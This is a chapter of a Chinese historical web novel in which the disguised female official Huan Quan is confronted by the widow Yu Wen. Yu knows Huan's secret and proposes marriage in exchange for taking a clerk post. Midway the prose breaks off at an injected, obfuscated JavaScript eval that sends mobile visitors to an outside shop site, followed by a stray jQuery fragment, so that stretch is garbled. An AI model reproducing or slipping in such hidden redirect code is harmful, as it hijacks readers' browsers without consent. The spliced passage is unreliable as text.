桓权眼神一沉,面容沉静却不动神色露出几分杀意,寒芒只在眼底一晃而过,随即又恢复古波般平静,面上渐渐聚敛其春水般的笑意,道:
“庾夫人可不要妄言。”
“当年士衡公子与亡夫北地游历时,曾不慎泄露身份,士衡公子,可还记得?”
桓权闻言想起当年旧事,那时他们被北地胡虏追杀,为救手无缚鸡之力的谢弼,她不慎被箭矢所伤,期间曾昏迷不醒,需要身边之人照料。
正是在那时,她女子身份为钟雅、谢弼所知,只是当时谁也没有主动提及此事,后来游历结束,几人分道扬镳。
钟雅重新入仕、一心朝政,桓权潜心读书、照料母亲,便极少相聚,纵使相聚,也不会提及这件尴尬事。
桓权原本心中忐忑,见钟雅不提,她也就没好意思提及,加之钟雅人品一向敦厚,后又以身殉国,也便随他去了,不再计较这件往事。
如今猛然提及,桓权心中惊惧,升起重重疑窦,此事不知钟雅是否泄露,又有多少人知晓,只是面上不显,仍然保持着温润尔雅的笑意。
“是叔彦告诉夫人的?”
“非也,是我自己猜测的。叔彦是重诺之人,他从未对我提及公子身份,只是公子男生女相,太过阴柔,实在惹人注意。
再加上叔彦提及公子总有诸多避讳,完全不似辅嗣公子那般自然随性,久之,难免惹人怀疑。
真正让我确定的,是我为亡夫上坟祭拜那日,那天雨大,公子许是不曾注意,濡湿的衣物贴着身体,总会显出些许与男子的不同来。”
桓权从未想过这一层,她素来重礼,与人并不过分亲近,久而久之,熟悉之人只习以为自然,并不会多想。
她自幼便女扮男装,又长久束胸,再加上母亲严育,族人轻视,发育比寻常女性要晚上许多,女性特征并不明显。
后又卷进苏钧叛乱一事中,身心压力巨大,本就不调的月信索性数月不来,后苏钧之乱平,好不容易略调养好些,她又入仕为官。
天天在大将军眼皮底下,眼前所见今生阴谋诡计的阴私事,身边又多是眼睛盯着,月信再次离她而去,这次却是一年未曾来了。
谢弼也曾为她调养,只是久居朝堂,身边都是刀光剑影,压力之下,总是不准,偶然来了,量也不多。
为了确保不会发生意外,桓权又问谢弼要了推迟月信的药物。
小心翼翼如此,不料还是被人瞧出破绽,桓权颇有些哭笑不得。
对于庾玟的话,桓权并未全然相信,只是她既然已经知道,此事便不好处理,庾玟出身大家,又是家中爱女,若是直接杀死,显然不能,若是放任,桓权心中又不安。
“夫人说笑了,男生女相,本是常事,古来有之,夫人所言皆不过是揣测罢了。”
“揣测也罢,事实也好,士衡公子自己心里最明白。士衡公子刚刚想让妾入仕,不知是入什么仕?”
桓权注意着庾玟的神色,见她态度平和,眼神坦荡,完全没有算计威胁的意思,心中反倒不安起来。
桓权不怕威胁,有胁迫必然有所求,有要求就有解决的办法。
反而是无欲无求的人让桓权心里没底,这样的人对于桓权就像一颗定时炸弹,桓权不喜欢这种命运被别人掌握的感觉。
尽管心中不安,面上依旧是淡然谦和的模样,对庾玟拱手作揖,道:
“尚书台缺一书令史,久闻庾夫人才高,桓某意欲请夫人来任此职,不知夫人可有意否?”
庾玟斜晲着桓权,眼神中满是疑惑惊异,眉头微蹙,正待开口,桓权又道:
“桓某自知书令史低微,不足以配夫人,只是如今时局所逼,百官公卿,无一职得闲。桓某在此承诺,他日夫人必能尽展其才,德位相配。”
庾玟嗤笑一声,道:
“士衡公子何必瞒我,不过因为我是女子罢了,自古以来朝廷征辟贤才,何曾落在女子身上?”
“难道夫人不想体会一把治国理政的滋味?天下是天下人之天下,非男儿之天下,难道只能由男子来主宰吗?”
“只是一个小小书令史,似乎还谈不上什么治国理政吧?”
“桓某曾读过一句诗,今日愿与夫人共勉。‘些小吾曹州县吏,一枝一叶总关情’。”
庾玟咀嚼着这句诗,若有所悟,她也算是熟读诗书典籍,这句诗她确实不曾听过,然而读来却颇觉有一番豪气。
“夫人,书令史虽小,却是女子从政的第一步。桓某非是轻视夫人,夫人乃是贞烈之人,遥想当年叔彦为国捐躯,如何不令人感佩,夫人难道忍心见社稷蒙难?
桓某敬佩夫人气节,知晓夫人并非利禄之人,必然不会在意官职品阶高低,若是能为天下人做些许事,也不算辜负此生。”
桓权循循善诱,落在庾玟耳中,也不免动心,身为女子,她又怎愿被束缚于闺阁之中,正因如此,她才不愿另嫁,从一个院子到另一个院子。
人人多说女子就该相夫教子,在家从父,出嫁从夫,她偏不信这话。
幼时读书,她便曾问过母亲,为何她就不能像父兄一般建功立业?她也想像班超一般“投笔从戎”,建立一番功业,青史留名。
母亲反倒笑她痴傻,说“自古就没有女子建功立业的”,还罚抄她抄《女戒》。
后来年岁渐大,庾玟也明白女子身份的无奈,很多事情她的父兄可以做,她却不能,她唯一的价值就是出嫁、生子、教子……枯萎无聊的度过自己的一生。
她被父亲许配给了钟雅,一个长她十余岁的男子,人人多说钟雅年轻有为,是个孝子,前程远大。
庾玟心底不以为然,心底很清楚,她做了家族联姻的棋子,而她完全没有反抗的余地。
那年她十六岁,钟雅二十七岁。
庾玟最喜欢《诗经》中的那句“琴瑟在御,莫不静好”,她将所有对于爱情的美好想象都投射在钟雅身上,满心以为自己的夫君会是“绿竹猗猗”的体贴君子。
满心期待转眼成空,钟雅待她只是平常,两人相敬如宾,却少温情,如同两具提线木偶般,没有半分真情。
庾玟本以为此生便如枯木般潦草过去了,不料一场叛乱,钟雅死了,她解脱了。
庾玟说不清自己对于钟雅的心思,他给不了她想要的爱,诗人的爱,却给了她敬重,这是世家大多夫妻的情状,却不是庾玟喜欢的。
钟雅死了,她也很伤心,却不是死了恋人的伤心,而是像丢了一样很重要东西般的伤心。
她按照礼法为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020137|146134||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
钟雅守孝服丧三年,那是她心底最自由的三年。
那三年她不从属于任何人。
庾玟不愿再嫁,不是因为对钟雅有多深情,不过是不愿再进入一段无望的婚姻中。
她向往的是无拘无束,连心都是自在的,不从属于任何人。
在与钟雅短短一年的婚姻在,庾玟喜欢上了庄子的文章,若是身不得自在,灵魂可以暂时喘息也是好的。
所以她要修道,她要得自在。
知道桓权是女子那一刻,庾玟内心是震惊的,她几乎不敢确定自己的猜测。
那是多么荒谬的可能性啊!
一个女子,怎么可以那么大胆!
不仅女扮男装扬名天下,更入仕为官,欺君罔上。
震惊之余,心底又有些许羡慕。
她见到的桓权是如此自在!她不需要被逼嫁人,她可以尽情展露自己的才华,她可以自由出入天子明堂,她可以肆意谈论国事,她毫无顾忌。
这就是她想要的模样!
桓权的话太有诱惑力了,她也想如同桓权一般,可是她不能,家族逼迫,她不属于她自己。
忽然,一个念头从她心底冒出,庾玟暗淡的目光重新亮起,她打量着桓权男性化的装扮,脸上的笑意愈发灿烂。
桓权注意着庾玟神情的变化,当那目光落在自己身上时,她便有种不好的预感。
“士衡公子,若要妾做那书令史也可,只是公子需答应妾一件事。”
“什么?”
“娶我。”
“咳咳!”桓权听到这个请求被自己的口水呛到了,缓和后,难以置信看向庾玟,怀疑是自己听错了,不确定的问,
“夫人刚刚说什么?”
“妾希望公子能够娶我。”
庾玟几乎是一字一顿说的,每一个字都说得特别清晰,桓权还是难以置信,揉着自己耳朵,喃喃道:
“错了!错了!一定是哪里出问题了!”
庾玟也有些不好意思,婚嫁一事历来都是女子羞于启齿的事情,但为了自己,她情愿拼一把。
“我知道士衡公子的秘密,士衡公子也定然不放心我另嫁他人,何不娶我?这样公子的秘密便再无第三人能够知道了。”
桓权眨眨眼,她实在没想到庾玟会拿她女扮男装的秘密威胁她这个,揉着眉间,认真思考起庾玟这个提议来。
若娶庾玟,秘密自然得以保守,可她不明白庾玟这样做的意义。
“嫁给我,夫人想要什么?”
“我不想嫁给一个陌生的男人,世家子弟大多三妻四妾,我不喜欢,生儿育女,便是在鬼门关闯一回,我不愿。嫁给士衡公子,便不会有这些烦恼。
而且公子不是想让我去做那书令史吗?若是嫁旁人,可不会允许自己的妻子这样抛头露面的,公子想要的就会落空。
若是成为公子的妻子,则不然。”
桓权承认庾玟的理由很充分,已经说服她了,这是一桩于她百利而无一害的买卖,她没有理由不答应,只是她还有一言要对庾玟,道:
“嫁我,随时有生死之危,夫人可要想好。”
“难道旁人就没有吗?乱世之中,谁知道自己还有没有明天。”
两人相视一笑